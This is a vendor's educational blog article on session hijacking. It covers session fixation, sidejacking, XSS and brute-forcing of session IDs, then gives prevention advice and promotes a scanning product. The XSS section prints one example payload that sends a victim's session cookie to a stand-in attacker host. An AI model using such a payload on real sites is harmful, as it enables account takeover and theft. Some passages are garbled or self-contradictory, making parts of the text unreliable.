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How to Prevent Session HijackingIn this article:Session hijacking attack is a highly prevalent attack that results in identity theft, data breaches, and financial fraud. A recent Verizon study found out that approx 85% of breaches were caused due to the human element and were avoidable in the presence of robust security measures. In such hijacking attacks, a hacker uploads malicious code to a site
frequently visited by the original user, then forces the victim’s machine to send the session cookie data to the hacker’s server. Once a user’s session ID is obtained, the attacker can masquerade as a legitimate user on any number of web services that successfully handshakes with the session ID. This article delves into how session hijacking attacks are commonly orchestrated, the risk & impacts of such attacks, and the best practices to prevent vulnerabilities that cause such
attacks. Hackers orchestrate a session hijacking attack to gain unauthorized access to a user’s session and then assume and leverage the victim’s identity for deeper exploitation. As various services of an application create sessions to serve as a reference for a user’s initial authentication, an attack vector exploits such services to stay connected to the server for the duration of the current session. To
achieve this, attackers steal a user’s session ID and then apply it to their browser, tricking the application servers into authenticating users. Session hijacking is a form of man-in-the-middle attack that, if successful, grants the hacker full access to a legitimate user’s account and browser session. The technique has been around for decades and involves the attackers stealing a valid session token from an active user and then accessing the user’s account. In most cases, session hijacking attacks are avoidable. As such, the risks within an application stack that account for a wider proportion of such attacks include:
The threat of a session hijacking attack can be severe, depending on the criticality of the application being accessed and the sensitivity of the data compromised. Some potential impacts of a successful attack include:
While there are multiple guidelines, tools, and best practices to secure applications, the changing threat landscape continues to evolve as well. Over the year, hackers have devised numerous ways to gain access to an authorized user’s session, including detailed attack patterns to orchestrate the hijacking without being noticed. Some session hijacking attack types include: Session Fixation AttacksIn this type of attack, hackers exploit session management vulnerabilities that allow users to sign in using existing session IDs. The attacker obtains the valid session ID, then tricking the user into logging in with it. Once the user session is established, the hacker hijacks it using the stolen session ID. In this case, the session hijacker fixes an active session on the user’s browser and then steals the session using known techniques. This can be further exploited by using the meta attack pattern to send the session tokens within the URL field, cookie, or hidden form field. Session side jackingOne of the most common techniques leverages the lack of encryption between the remote server and the user. The session hijacker sniffs for unencrypted traffic in the network carrying session keys and tokens, captures the session tokens, and then uses them in targeted services masquerading as the victim. Cross-site scripting attacksSession hijackers typically target cross-site scripting vulnerabilities when orchestrating a session takeover. While doing so, hackers inject client-side scripts that capture session tokens. If the target server doesn’t set the HttpOnly attribute for session cookies, attackers can craft malicious Javascript code that obtains the session ID. A popular XSS attack method for session hijacking involves tricking users into clicking a malicious link to a known website that includes query parameters to send the user’s session key to the attacker’s web server. For example, the URL argument for this attack would look similar to: <!-- wp:table --> <figure class="wp-block-table"><table><tbody><tr><td>http://www.darwin.com/search?<script>location.href='http://www.darwinhijacker.com/hijacker.php?cookie='+document.cookie;</script></td></tr></tbody></table></figure> <!-- /wp:table -->In this case, the document.cookie argument reads the session cookie, then sends it to the hijacker’s website, relying on the location.href command. While this is one common attack method, real-world attacks are far more sophisticated, which uses techniques such as URL shortening and character encoding to hide the malicious script within the link. Brute ForceThis method involves the hackers guessing and determining the session ID on their own once they realize that the server uses predictable IDs. Some business systems create session IDs based on time, date, or the user’s IP address, making it easy to guess. Attackers also use session IDs repeatedly from a known list that is only successful if the session management platform has known vulnerabilities or if the session IDs are made up of a few commonly used characters. How to prevent session hijacking attacks from happeningWhile attackers have used numerous tools and techniques that facilitate session hijacking, several security measures and best practices protect applications from such attacks. Some best practices to prevent session hijacking attacks include:
Make sure that web servers and applications, especially SSO systems, require the use of HTTPS everywhere. In addition, all internet communications should be encrypted to ensure sessions are secured at every stage. Every interaction, including sharing session keys, should be encrypted with TLS/SSL. Security teams should also use robust client-side defenses to protect client browsers and session cookies from XXS attacks.
Web frameworks simplify session management since they can generate more prolonged and random session cookies. Unfortunately, this makes session tokens, cookies, and IDs harder to predict and exploit since such frameworks rely on fuzzy algorithms to achieve randomness.
Changing the session key after a successful login makes it hard for a session hijacker to follow the user session even if they know the original key. Even if an attacker sends a phishing link that the user clicks on, attackers can’t hijack sessions with self-generated keys in such setups.
These are tools that compare access patterns with known attack signatures. If there are any malicious application usage patterns, these systems automatically block the request and send alerts to monitoring & security teams. You can find a lot of advantages when using a session hijacking tool to test your web application, as nowadays manual testing can be quite expensive for business. Some of the benefits you could find are:
The Crashtest Security Suite is available as a free trial version. About Crashtest Security:Crashtest Security is a leading provider of automation software solutions for web developers and IT professionals. This automated tool scans your API/web app for common issues like missing CSRF tokens, weak authentication, SQL injection, cross-site scripting, etc. It then analyzes these issues in order to determine if they could lead to a session hijacking attack. FAQsWhy is Session Hijacking Attack Important for Business?A session hijacking attack is one of the most dangerous types of cyberattacks because it allows hackers to gain unauthorized access to a user’s account or data. This type of attack can be extremely costly since it may result in financial losses, reputation damage, legal liabilities, etc. Best practices ConclusionHere are a few ways to protect yourself from session hijacking:
Get a quick security audit of your website for free nowWe are analyzing https://example.com Scanning target https://example.com Scan status: In progress Scan target: http://example.com/laskdlaksd/12lklkasldkasada.a Date: 08/08/2022 Crashtest Security Suite will be checking for: Information disclosure Known vulnerabilities SSL misconfiguration Open ports Complete your scan request Please fill in your details receive the Security specialist is analyzing your scan report. Thank you. We have received your request. What type of attack does the attacker infect a website?A watering hole attack is a security exploit in which the attacker seeks to compromise a specific group of end users by infecting websites that members of the group are known to visit. The goal is to infect a targeted user's computer and gain access to the network at the target's workplace.
What is it called when a hacker is able to get into a system through a secret entry way in order to maintain remote access to the computer?“A backdoor refers to any method by which authorized and unauthorized users are able to get around normal security measures and gain high level user access (aka root access) on a computer system, network, or software application.”
What makes a DDoS attack different from a DoS attack?A denial-of-service (DoS) attack floods a server with traffic, making a website or resource unavailable. A distributed denial-of-service (DDoS) attack is a DoS attack that uses multiple computers or machines to flood a targeted resource.
What is it called if a hacker takes down multiple services very quickly with the help of botnets a SQL injection?What is it called if a hacker takes down multiple services very quickly with the help of botnets? Cross-site Scripting (XSS) A password attack. Distributed denial-of-service (DDoS) A SQL injection.
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